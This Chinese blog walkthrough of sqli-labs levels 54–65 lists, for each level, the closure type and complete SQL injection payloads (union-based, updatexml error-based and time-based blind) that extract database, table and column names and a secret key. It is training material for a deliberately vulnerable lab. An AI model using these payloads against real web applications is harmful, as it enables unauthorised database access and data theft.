以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】

2024-06-08 21:20

本文主要是介绍以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

【Less-54】

与前面的题目不同是,这里只能提交10次,一旦提交超过十次,数据会重新刷新,所有的步骤需要重来一次。

解题步骤:

根据测试,使用的是单引号闭合。

# 判断字段的数量
?id=1' order by 3 -- aaa# 获取数据库的名字
?id=-1' union select 1,2,database() -- aa# 获取数据表的名字
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为73m93vdzgg(随机生成的)
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='73m93vdzgg'-- aa  # 获取目标信息
?id=-1' union select 1,2,secret_8QFM from 73m93vdzgg -- aa 

最后把获取到的Key值放入输入框中提交,通关。

【Less-55】

通过测试,使用的是括号闭合。

解题步骤:

# 判断字段的数量
?id=1) order by 3 -- aaa# 获取数据库的名字
?id=-1) union select 1,2,database() -- aa# 获取数据表的名字
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为lll4ndq8t5(随机生成的)
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lll4ndq8t5'-- aa  # 获取目标信息,字段名为secret_JY1K
?id=-1) union select 1,2,secret_JY1K from lll4ndq8t5 -- aa 

【Less-56】

与上面两题类似,只是闭合的类型不同,采用的是单引号括号的方式。

解题步骤和上面基本一致,如下:

# 判断字段的数量
?id=1') order by 3 -- aaa# 获取数据库的名字
?id=-1') union select 1,2,database() -- aa# 获取数据表的名字
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为bpunqnpx62(随机生成的)
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='bpunqnpx62'-- aa  # 获取目标信息,字段名为secret_0OCB
?id=-1') union select 1,2,secret_0OCB from bpunqnpx62 -- aa 

【Less-57】

同样类型的题目,与之前的几题基本一样,只是闭合采用的是双引号

解题步骤:

# 判断字段的数量
?id=1" order by 3 -- aaa# 获取数据库的名字
?id=-1" union select 1,2,database() -- aa# 获取数据表的名字
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- aa  # 获取字段名,上一步获取的数据表名为mim20rhi4p(随机生成的)
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='mim20rhi4p'-- aa  # 获取目标信息,字段名为secret_3YCT
?id=-1" union select 1,2,secret_3YCT from mim20rhi4p -- aa 

【Less-58】

通过测试,使用的是单引号闭合。

解题过程和之前的集体类似,只是没有回显信息,解题步骤如下:


# 获取数据库的名字
?id=-1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa
# 获取数据表的名字
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表字段名为s93lfq2cfa(随机生成的)
?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='s93lfq2cfa'),0x7e),1) -- aa# 获取目标信息,字段名为secret_REV6
?id=-1' and updatexml(1,concat(0x7e,(select secret_REV6 from s93lfq2cfa),0x7e),1) -- aa

【Less-59】

与Less-58基本相同,唯一的不同在于闭合方式,Less-59是直接注入的方式。

# 获取数据库的名字
?id=-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) # 获取数据表的名字 w7hf6t37nt
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) # 获取字段名,上一步获取的数据表名为w7hf6t37nt(随机生成的)
?id=-1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='w7hf6t37nt'),0x7e),1)# 获取目标信息,字段名为secret_D5MM
?id=-1 and updatexml(1,concat(0x7e,(select secret_D5MM from w7hf6t37nt),0x7e),1)

【Less-60】

与上题类似,闭合使用的是双引号括号。

解题步骤:


# 获取数据库的名字
?id=-1") and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa# 获取数据表的名字
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表名为kz7qxr5nq1(随机生成的)
?id=-1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='kz7qxr5nq1'),0x7e),1) -- aa# 获取目标信息,字段名为secret_TEGV
?id=-1") and updatexml(1,concat(0x7e,(select secret_TEGV from kz7qxr5nq1),0x7e),1) -- aa

【Less-61】

经过测试,本题的闭合方式为单引号加两个括号

解题步骤:


# 获取数据库的名字
?id=-1')) and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- aa# 获取数据表的名字
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- aa# 获取字段名,上一步获取的数据表名为31nbt3hzri(随机生成的)
?id=-1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='31nbt3hzri'),0x7e),1) -- aa# 获取目标信息,字段名为secret_QQ63
?id=-1')) and updatexml(1,concat(0x7e,(select secret_QQ63 from 31nbt3hzri),0x7e),1) -- aa

【Less-62】

此题的闭合方式为单引号加括号,与之前题目不同的是,此题没有显错,采用盲注的方式解题。

解题步骤:

# 获取数据库的名字,长度为10
?id=1') and length(database())=10 -- aa# 获取数据库的名字
?id=1') and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1') and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1') and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1') and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

此时可以使用Burp Sutie工具实现名字的遍历。

【Less-63】

基本与Less-62一样,闭合是单引号闭合

 解题步骤:

# 获取数据库的名字,长度为10
?id=1' and length(database())=10 -- aa# 获取数据库的名字
?id=1' and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-64】

基本与Less-63一样,闭合是两个括号

 解题步骤:

# 获取数据库的名字,长度为10
?id=1)) and length(database())=10 -- aa# 获取数据库的名字
?id=1)) and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1)) and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1)) and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1)) and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

【Less-65】

基本与Less-63一样,闭合是双引号括号

 解题步骤:

# 获取数据库的名字,长度为10
?id=1") and length(database())=10 -- aa# 获取数据库的名字
?id=1")  and if(ascii(substr(database(),1,1))=100,sleep(5),1) -- aa# 获取数据表名的长度,10
?id=1") and if(length((select table_name from information_schema.tables where table_schema=database()limit 0,1))=10,sleep(5),1) -- aa# 获取数据表的名字,此时的数据表名是随机生成的,没有统计标准,自行测试。
?id=1") and if(ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=98,sleep(5),1) -- aa# 获取字段名
?id=1") and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name= 上一步获取的数据表名 limit 0,1),1,1))=98,sleep(5),1) -- aa

这篇关于以sqlilabs靶场为例,讲解SQL注入攻击原理【54-65关】的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1043344

相关文章

Python使用国内镜像加速pip安装的方法讲解

《Python使用国内镜像加速pip安装的方法讲解》在Python开发中,pip是一个非常重要的工具,用于安装和管理Python的第三方库,然而,在国内使用pip安装依赖时,往往会因为网络问题而导致速... 目录一、pip 工具简介1. 什么是 pip?2. 什么是 -i 参数?二、国内镜像源的选择三、如何

Springboot中分析SQL性能的两种方式详解

《Springboot中分析SQL性能的两种方式详解》文章介绍了SQL性能分析的两种方式:MyBatis-Plus性能分析插件和p6spy框架,MyBatis-Plus插件配置简单,适用于开发和测试环... 目录SQL性能分析的两种方式:功能介绍实现方式:实现步骤:SQL性能分析的两种方式:功能介绍记录

使用 sql-research-assistant进行 SQL 数据库研究的实战指南(代码实现演示)

《使用sql-research-assistant进行SQL数据库研究的实战指南(代码实现演示)》本文介绍了sql-research-assistant工具,该工具基于LangChain框架,集... 目录技术背景介绍核心原理解析代码实现演示安装和配置项目集成LangSmith 配置(可选)启动服务应用场景

oracle DBMS_SQL.PARSE的使用方法和示例

《oracleDBMS_SQL.PARSE的使用方法和示例》DBMS_SQL是Oracle数据库中的一个强大包,用于动态构建和执行SQL语句,DBMS_SQL.PARSE过程解析SQL语句或PL/S... 目录语法示例注意事项DBMS_SQL 是 oracle 数据库中的一个强大包,它允许动态地构建和执行

SQL 中多表查询的常见连接方式详解

《SQL中多表查询的常见连接方式详解》本文介绍SQL中多表查询的常见连接方式,包括内连接(INNERJOIN)、左连接(LEFTJOIN)、右连接(RIGHTJOIN)、全外连接(FULLOUTER... 目录一、连接类型图表(ASCII 形式)二、前置代码(创建示例表)三、连接方式代码示例1. 内连接(I

在MySQL执行UPDATE语句时遇到的错误1175的解决方案

《在MySQL执行UPDATE语句时遇到的错误1175的解决方案》MySQL安全更新模式(SafeUpdateMode)限制了UPDATE和DELETE操作,要求使用WHERE子句时必须基于主键或索引... mysql 中遇到的 Error Code: 1175 是由于启用了 安全更新模式(Safe Upd

Python itertools中accumulate函数用法及使用运用详细讲解

《Pythonitertools中accumulate函数用法及使用运用详细讲解》:本文主要介绍Python的itertools库中的accumulate函数,该函数可以计算累积和或通过指定函数... 目录1.1前言:1.2定义:1.3衍生用法:1.3Leetcode的实际运用:总结 1.1前言:本文将详

轻松上手MYSQL之JSON函数实现高效数据查询与操作

《轻松上手MYSQL之JSON函数实现高效数据查询与操作》:本文主要介绍轻松上手MYSQL之JSON函数实现高效数据查询与操作的相关资料,MySQL提供了多个JSON函数,用于处理和查询JSON数... 目录一、jsON_EXTRACT 提取指定数据二、JSON_UNQUOTE 取消双引号三、JSON_KE

MySql死锁怎么排查的方法实现

《MySql死锁怎么排查的方法实现》本文主要介绍了MySql死锁怎么排查的方法实现,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧... 目录前言一、死锁排查方法1. 查看死锁日志方法 1:启用死锁日志输出方法 2:检查 mysql 错误

MySQL数据库函数之JSON_EXTRACT示例代码

《MySQL数据库函数之JSON_EXTRACT示例代码》:本文主要介绍MySQL数据库函数之JSON_EXTRACT的相关资料,JSON_EXTRACT()函数用于从JSON文档中提取值,支持对... 目录前言基本语法路径表达式示例示例 1: 提取简单值示例 2: 提取嵌套值示例 3: 提取数组中的值注意